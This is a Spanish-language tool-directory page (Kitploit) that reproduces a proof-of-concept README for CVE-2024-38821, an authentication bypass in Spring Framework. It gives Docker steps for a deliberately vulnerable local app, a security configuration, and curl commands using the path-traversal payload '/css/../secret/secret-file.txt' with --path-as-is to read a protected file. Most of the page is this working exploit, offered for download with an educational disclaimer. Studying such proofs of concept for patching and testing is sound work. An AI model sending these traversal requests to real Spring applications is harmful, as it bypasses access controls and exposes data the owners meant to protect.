Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-38821-POC — Exploit de prueba de concepto para CVE-2024-38821, que demuestra la omisión de autenticación en Spring Framework mediante path traversal para acceder a recursos restringidos. | Kitploit
Herramientas/GitHubGitHub/masa42/cve-2024-38821-poc
Autenticación y AutorizaciónAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubmasa42/cve-2024-38821-poc

CVE-2024-38821-POC

Exploit de prueba de concepto para CVE-2024-38821, que demuestra la omisión de autenticación en Spring Framework mediante path traversal para acceder a recursos restringidos.

Ver Repositorio
124hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-38821: Prueba de Concepto (PoC): Bypass de Autenticación en Spring Framework

Esta es una prueba de concepto para la vulnerabilidad CVE-2024-38821

Pasos de Ejecución

  1. Construir la imagen Docker (Spring Boot 3.3.4, basado en Spring Framework 6.1.13)

    root@kitploit:~
    cd vuln
    docker build -t cve-2024-38821-poc .
    
  2. Ejecutar el contenedor y exponer el puerto 8080 a la máquina host

    root@kitploit:~
    docker run -d -p 8080:8080 --name cve-2024-38821-poc cve-2024-38821-poc
    
  3. Ejecutar el siguiente comando para ejecutar el PoC y confirmar la vulnerabilidad

    root@kitploit:~
    curl -v --path-as-is "http://localhost:8080/secret/secret-file.txt" # Expected: 302 response (login required)
    curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt" # Expected: 200 response (bypassed authentication)
    

    Si el ataque tiene éxito, la respuesta mostrará: This is a secret file.

Explicación

  1. Crear SecurityConfig.java para configurar los permisos de acceso:

    • Permitir acceso no autenticado a las rutas bajo /css/.
    • Requerir autenticación para las rutas bajo /secret/.
    root@kitploit:~
    public SecurityWebFilterChain securityWebFilterChain(ServerHttpSecurity http) {
        return http
            .authorizeExchange(exchange -> exchange
                .pathMatchers("/css/**", "/").permitAll() // Static resources and the top page do not require authentication
                .pathMatchers("/secret/**").authenticated() // Authentication is required for the "secret" path
                .anyExchange().authenticated() // Authentication is required for all other paths
            )
            .formLogin().and() // Enable form-based authentication
            .build();
    }
    
  2. Crear el siguiente payload. Dado que el payload comienza con /css/, coincide con el patrón de ruta permitido. No comienza con /secret/, por lo que no coincide con el patrón de ruta que requiere autenticación:

    • Ruta: /css/../secret/secret-file.txt
  3. Usar el siguiente comando curl para ejecutar el PoC y verificar si el ataque tiene éxito:

    root@kitploit:~
    # Note: The --path-as-is option is required to send the request without URL normalization.
    curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt"
    

Descargo de Responsabilidad

Este PoC se proporciona con fines educativos y de investigación en seguridad. Antes de usarlo en un sistema real, asegúrate de que la vulnerabilidad haya sido corregida y de contar con la autorización adecuada. El autor no se hace responsable del mal uso de este código.

Descargar herramienta

Si el ataque tiene éxito, la respuesta mostrará: This is a secret file.